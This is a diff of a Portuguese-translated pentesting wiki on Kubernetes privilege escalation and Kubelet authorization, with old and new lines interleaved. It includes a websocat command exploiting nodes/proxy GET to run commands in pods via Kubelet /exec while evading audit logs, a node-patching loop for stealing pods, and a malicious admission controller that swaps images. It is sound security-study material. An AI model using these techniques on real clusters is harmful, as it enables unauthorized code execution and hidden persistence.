> Ao comunicar-se com o endpoint da API do K8s, o token de autenticação do GCP será enviado. Então, o GCP, através do endpoint da API do K8s, primeiro **verificará se o principal** (pelo email) **tem algum acesso dentro do cluster**, depois verificará se tem **qualquer acesso via GCP IAM**.\
|
||||
> Se **qualquer** uma dessas for **verdadeira**, será **respondido**. Se **não**, será retornado um **erro** sugerindo conceder **permissões via GCP IAM**.
|
||||
|
||||
Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las.
|
||||
Então, o primeiro método é usar **GCP IAM**; as permissões do K8s têm suas **equivalentes em GCP IAM**, e se o principal as possuir, poderá usá-las.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **e-mail** (contas de serviço do GCP incluídas).
|
||||
O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **email** (incluindo service accounts do GCP).
|
||||
|
||||
### Criar token de serviceaccounts
|
||||
### Create serviceaccounts token
|
||||
|
||||
Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
Entidades que podem **create TokenRequests** (`serviceaccounts/token`) ao comunicar-se com o endpoint da API do K8s SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Principais que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.
|
||||
Entidades que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem obter **execução de código em outros pods**, e potencialmente **escapar** para seu node adicionando um ephemeral container com um securityContext privilegiado
|
||||
|
||||
### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations
|
||||
|
||||
Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.
|
||||
Entidades com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.
|
||||
|
||||
Para um [exemplo de `mutatingwebhookconfigurations`, verifique esta seção deste post](#malicious-admission-controller).
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Escalar
|
||||
### Escalate
|
||||
|
||||
Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\
|
||||
Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui.
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), um principal não pode nem atualizar nem criar roles ou clusterroles sem ele mesmo possuir essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\
|
||||
Então ele pode atualizar/criar novos roles, clusterroles com permissões superiores às que possui.
|
||||
|
||||
### Proxy de nós
|
||||
### Nodes proxy
|
||||
|
||||
Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página:
|
||||
Entidades com acesso ao subrecurso **`nodes/proxy`** podem **executar código em pods** via a API do Kubelet (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação do Kubelet nesta página:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
### Deletar pods + nós não agendáveis
|
||||
- O Kubelet mapeia métodos HTTP para verbos RBAC **antes** do upgrade de protocolo. WebSocket handshakes devem começar com **HTTP GET** (`Connection: Upgrade`), então `/exec` via WebSocket é verificado como **verbo `get`** ao invés do esperado `create`.
|
||||
- `/exec`, `/run`, `/attach`, e `/portforward` não são mapeados explicitamente e caem no subrecurso padrão **`proxy`**, então a questão de autorização torna-se **`can <user> get nodes/proxy?`**
|
||||
- Se um token tiver apenas **`nodes/proxy` + `get`**, o acesso direto via WebSocket ao kubelet em `https://<node_ip>:10250` permite execução arbitrária de comandos em qualquer pod naquele node. A mesma requisição via o caminho de proxy do API server (`/api/v1/nodes/<node>/proxy/exec/...`) é negada porque é um POST HTTP normal e mapeia para `create`.
|
||||
- O kubelet não realiza uma segunda autorização após o upgrade do WebSocket; apenas o GET inicial é avaliado.
|
||||
|
||||
Principais que podem **deletar pods** (verbo `delete` sobre o recurso `pods`), ou **evictar pods** (verbo `create` sobre o recurso `pods/eviction`), ou **mudar o status do pod** (acesso a `pods/status`) e podem **tornar outros nós não agendáveis** (acesso a `nodes/status`) ou **deletar nós** (verbo `delete` sobre o recurso `nodes`) e têm controle sobre um pod, poderiam **roubar pods de outros nós** para que sejam **executados** no **nó comprometido** e o atacante possa **roubar os tokens** desses pods.
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Use the **Node IP**, not the node name. The same request with `curl -X POST` will be **Forbidden** because it maps to `create`.
|
||||
- O acesso direto ao kubelet contorna o API server, então o AuditPolicy mostra apenas `subjectaccessreviews` do kubelet user agent e **não registra comandos `pods/exec`**.
|
||||
- Enumere os service accounts afetados com o [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET.
|
||||
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
Identidades que podem **delete pods** (`delete` verb over `pods` resource), ou **evict pods** (`create` verb over `pods/eviction` resource), ou **change pod status** (acesso a `pods/status`) e que podem **make other nodes unschedulable** (acesso a `nodes/status`) ou **delete nodes** (`delete` verb over `nodes` resource) e têm controle sobre um pod, podem **steal pods from other nodes** para que estes sejam **executed** no **compromised** **node** e o atacante possa **steal the tokens** desses pods.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -641,43 +657,43 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Status dos serviços (CVE-2020-8554)
|
||||
### Status de services (CVE-2020-8554)
|
||||
|
||||
Principais que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar a **CVE-2020-8554 não corrigida** e lançar **ataques MiTM contra o clus**ter. A maioria das mitig ações para a CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Entidades que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o cluster**. A maioria das mitigações para o CVE-2020-8554 apenas evita serviços ExternalIP (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Status de Nós e Pods
|
||||
### Status de nodes e pods
|
||||
|
||||
Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas.
|
||||
Entidades com permissões **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status` podem modificar rótulos para afetar restrições de agendamento aplicadas.
|
||||
|
||||
## Prevenção de Escalação de Privilégios Integrada
|
||||
## Prevenção embutida de escalada de privilégios
|
||||
|
||||
Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios.
|
||||
Kubernetes tem um [mecanismo embutido](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir escalada de privilégios.
|
||||
|
||||
Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.
|
||||
Esse sistema garante que **os usuários não possam elevar seus privilégios modificando roles ou role bindings**. A aplicação dessa regra ocorre no nível da API, oferecendo uma salvaguarda mesmo quando o autorizador RBAC está inativo.
|
||||
|
||||
A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.
|
||||
A regra estipula que um **usuário só pode criar ou atualizar um role se possuir todas as permissões que o role compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o do role que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou confinado ao mesmo namespace (ou em todo o cluster) para Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Há uma exceção à regra anterior. Se um principal tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de roles e clusterroles mesmo sem ter as permissões.
|
||||
> Há uma exceção à regra anterior. Se um principal tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`** ele pode aumentar os privilégios de roles e clusterroles mesmo sem possuir as permissões ele próprio.
|
||||
|
||||
### **Obter & Patch RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver.**
|
||||
> **Aparentemente essa técnica funcionou antes, mas de acordo com meus testes não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para se dar (ou dar a uma SA diferente) alguns privilégios se você já não os possuir.**
|
||||
|
||||
O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.**
|
||||
O privilégio de criar Rolebindings permite que um usuário **vincule roles a uma service account**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite ao usuário vincular privilégios de admin a uma service account comprometida.**
|
||||
|
||||
## Outros Ataques
|
||||
|
||||
### Aplicativo proxy Sidecar
|
||||
### Sidecar proxy app
|
||||
|
||||
Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod.
|
||||
Por padrão não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod para pod.
|
||||
|
||||
#### Criar um aplicativo proxy Sidecar
|
||||
#### Criar um sidecar proxy app
|
||||
|
||||
Um contêiner sidecar consiste apenas em adicionar um **segundo (ou mais) contêiner dentro de um pod**.
|
||||
Um container sidecar consiste simplesmente em adicionar um **segundo (ou mais) container dentro de um pod**.
|
||||
|
||||
Por exemplo, o seguinte é parte da configuração de um pod com 2 contêineres:
|
||||
Por exemplo, o seguinte é parte da configuração de um pod com 2 containers:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -687,15 +703,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Por exemplo, para backdoor um pod existente com um novo contêiner, você poderia simplesmente adicionar um novo contêiner na especificação. Note que você poderia **dar mais permissões** ao segundo contêiner que o primeiro não terá.
|
||||
Por exemplo, para inserir uma backdoor em um pod existente com um novo container, você poderia simplesmente adicionar um novo container na especificação. Note que você poderia **dar mais permissões** ao segundo container do que o primeiro não teria.
|
||||
|
||||
Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Controlador de Admissão Malicioso
|
||||
### Admission Controller Malicioso
|
||||
|
||||
Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**.
|
||||
Um admission controller **intercepta requisições para o Kubernetes API server** antes da persistência do objeto, mas **depois que a requisição é autenticada** **e autorizada**.
|
||||
|
||||
Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente realizar privesc, e mais comumente persistir no cluster.
|
||||
Se um atacante de alguma forma conseguir **injetar um Mutation Admission Controller**, ele será capaz de **modificar requisições já autenticadas**. Isso pode possibilitar privesc e, mais comumente, persistir no cluster.
|
||||
|
||||
**Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -711,23 +727,23 @@ kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
Então, implante um novo pod:
|
||||
Em seguida, crie um novo pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Quando você vê o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
|
||||
Quando você vir o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!?
|
||||
Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem finalmente executada foi `rewanthtammana/malicious-image`. O que aconteceu!?
|
||||
|
||||
#### Technicalities
|
||||
#### Detalhes técnicos
|
||||
|
||||
O script `./deploy.sh` estabelece um controlador de admissão de webhook mutável, que modifica as solicitações à API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados:
|
||||
O script `./deploy.sh` instala um mutating webhook admission controller, que altera as requisições à Kubernetes API conforme especificado nas suas linhas de configuração, causando os resultados observados:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -735,28 +751,28 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewanthtammana/malicious-image`.
|
||||
O trecho acima substitui a primeira imagem do container em cada pod por `rewanthtammana/malicious-image`.
|
||||
|
||||
## Bypass do OPA Gatekeeper
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Melhores Práticas
|
||||
## Boas práticas
|
||||
|
||||
### **Desabilitando o Automontagem de Tokens de Conta de Serviço**
|
||||
### **Desativar montagem automática de tokens de Service Account**
|
||||
|
||||
- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desabilitar esse recurso de automontagem.
|
||||
- **Como Aplicar**: Defina `automountServiceAccountToken: false` na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes.
|
||||
- **Pods e Service Accounts**: Por padrão, os pods montam um service account token. Para aumentar a segurança, o Kubernetes permite a desabilitação dessa montagem automática.
|
||||
- **Como aplicar**: Defina `automountServiceAccountToken: false` na configuração de service accounts ou pods a partir da versão Kubernetes 1.6.
|
||||
|
||||
### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings**
|
||||
### **Atribuição restritiva de usuários em RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.
|
||||
- **Inclusão seletiva**: Garanta que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança restrita.
|
||||
|
||||
### **Papéis Específicos de Namespace em vez de Papéis de Cluster**
|
||||
### **Roles específicas de namespace em vez de Roles em todo o cluster**
|
||||
|
||||
- **Papéis vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam em todo o cluster. Essa abordagem oferece um controle mais fino e limita o escopo das permissões.
|
||||
- **Roles vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam ao cluster inteiro. Essa abordagem oferece controle mais refinado e limita o escopo das permissões.
|
||||
|
||||
### **Use ferramentas automatizadas**
|
||||
|
||||
@@ -779,5 +795,8 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+41
-37
@@ -1,24 +1,24 @@
|
||||
# Kubelet Authentication & Authorization
|
||||
# Autenticação e Autorização do Kubelet
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Autenticação do Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**Do docs:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
Por padrão, as solicitações para o endpoint HTTPS do kubelet que não são rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário de `system:anonymous`** e um **grupo de `system:unauthenticated`**.
|
||||
Por padrão, solicitações ao endpoint HTTPS do kubelet que não sejam rejeitadas por outros métodos de autenticação configurados são tratadas como solicitações anônimas, e recebem um **nome de usuário `system:anonymous`** e um **grupo `system:unauthenticated`**.
|
||||
|
||||
Os **3** métodos de **autenticação** são:
|
||||
Os **3** métodos de autenticação são:
|
||||
|
||||
- **Anônimo** (padrão): Use definindo o parâmetro **`--anonymous-auth=true` ou a configuração:**
|
||||
- **Anonymous** (default): Defina o parâmetro **`--anonymous-auth=true`** ou a configuração:
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: Isso irá **habilitar** os **tokens bearer** da API kubectl como autorização (qualquer token válido será aceito). Permita com:
|
||||
- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` está habilitado no servidor da API
|
||||
- **Webhook**: Isto irá **habilitar** os API bearer tokens do kubectl como autorização (qualquer token válido será aceito). Permita-o com:
|
||||
- certifique-se de que o grupo de API `authentication.k8s.io/v1beta1` esteja habilitado no API server
|
||||
- inicie o kubelet com as flags **`--authentication-token-webhook`** e **`--kubeconfig`** ou use a seguinte configuração:
|
||||
```json
|
||||
"authentication": {
|
||||
@@ -28,11 +28,11 @@ Os **3** métodos de **autenticação** são:
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> O kubelet chama a **`TokenReview` API** no servidor API configurado para **determinar informações do usuário** a partir de tokens bearer
|
||||
> O kubelet chama a **`TokenReview` API** no API server configurado para **determinar informações do usuário** a partir de bearer tokens
|
||||
|
||||
- **Certificados de cliente X509:** Permitem autenticar via certificados de cliente X509
|
||||
- veja a [documentação de autenticação do apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes
|
||||
- inicie o kubelet com a flag `--client-ca-file`, fornecendo um bundle CA para verificar os certificados de cliente. Ou com a configuração:
|
||||
- **X509 client certificates:** Permitem autenticação via X509 client certs
|
||||
- veja a [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para mais detalhes
|
||||
- inicie o kubelet com a flag `--client-ca-file`, fornecendo um CA bundle para verificar certificados de cliente. Ou com a config:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,14 +40,14 @@ Os **3** métodos de **autenticação** são:
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Autorização do Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Qualquer solicitação que seja autenticada com sucesso (incluindo uma solicitação anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as solicitações**.
|
||||
Qualquer requisição que seja autenticada com sucesso (incluindo uma requisição anônima) **é então autorizada**. O modo de autorização **padrão** é **`AlwaysAllow`**, que **permite todas as requisições**.
|
||||
|
||||
No entanto, o outro valor possível é **`webhook`** (que é o que você encontrará **principalmente por aí**). Este modo **verificará as permissões do usuário autenticado** para permitir ou negar uma ação.
|
||||
No entanto, o outro valor possível é **`webhook`** (que é o que você **principalmente encontrará por aí**). Este modo irá **verificar as permissões do usuário autenticado** para permitir ou negar uma ação.
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter permissões** para realizar qualquer ação.
|
||||
> Observe que mesmo se a **autenticação anônima estiver habilitada**, o **acesso anônimo** pode **não ter nenhuma permissão** para executar qualquer ação.
|
||||
|
||||
A autorização via webhook pode ser configurada usando o **param `--authorization-mode=Webhook`** ou via o arquivo de configuração com:
|
||||
```json
|
||||
@@ -59,41 +59,45 @@ A autorização via webhook pode ser configurada usando o **param `--authorizati
|
||||
}
|
||||
},
|
||||
```
|
||||
O kubelet chama a **`SubjectAccessReview`** API no servidor API configurado para **determinar** se cada solicitação está **autorizada.**
|
||||
O kubelet chama a API **`SubjectAccessReview`** no API server configurado para **determinar** se cada requisição está **autorizada.**
|
||||
|
||||
O kubelet autoriza solicitações de API usando a mesma abordagem de [atributos de solicitação](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver:
|
||||
O kubelet autoriza API requests usando a mesma abordagem de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que o apiserver:
|
||||
|
||||
- **Ação**
|
||||
|
||||
| Verbo HTTP | verbo de solicitação |
|
||||
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | criar |
|
||||
| GET, HEAD | obter (para recursos individuais), listar (para coleções, incluindo conteúdo completo do objeto), assistir (para assistir a um recurso individual ou coleção de recursos) |
|
||||
| PUT | atualizar |
|
||||
| PATCH | patch |
|
||||
| DELETE | deletar (para recursos individuais), deletecollection (para coleções) |
|
||||
| Verbo HTTP | verbo de requisição |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- O **recurso** que se comunica com a API do Kubelet é **sempre** **nós** e o **subrecurso** é **determinado** a partir do caminho da solicitação recebida:
|
||||
- O **resource** que fala com a Kubelet api é **sempre** **nodes** e o **subresource** é **determinado** a partir do caminho da requisição de entrada:
|
||||
|
||||
| API do Kubelet | recurso | subrecurso |
|
||||
| --------------- | ------- | ---------- |
|
||||
| /stats/\* | nós | stats |
|
||||
| /metrics/\* | nós | metrics |
|
||||
| /logs/\* | nós | log |
|
||||
| /spec/\* | nós | spec |
|
||||
| _todos os outros_ | nós | proxy |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Por exemplo, a seguinte solicitação tentou acessar as informações dos pods do kubelet sem permissão:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
|
||||
Por exemplo, a requisição a seguir tentou acessar as informações dos pods do kubelet sem permissão:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Recebemos um **Forbidden**, então a solicitação **passou na verificação de Autenticação**. Se não, teríamos recebido apenas uma mensagem `Unauthorised`.
|
||||
- Podemos ver o **nome de usuário** (neste caso, do token)
|
||||
- Verifique como o **recurso** era **nodes** e o **subrecurso** **proxy** (o que faz sentido com as informações anteriores)
|
||||
- Recebemos um **Forbidden**, então a solicitação **passou a verificação de Authentication**. Caso contrário, teríamos recebido apenas a mensagem `Unauthorised`.
|
||||
- Podemos ver o **username** (neste caso a partir do token)
|
||||
- Repare como o **resource** foi **nodes** e o **subresource** **proxy** (o que faz sentido com a informação anterior)
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user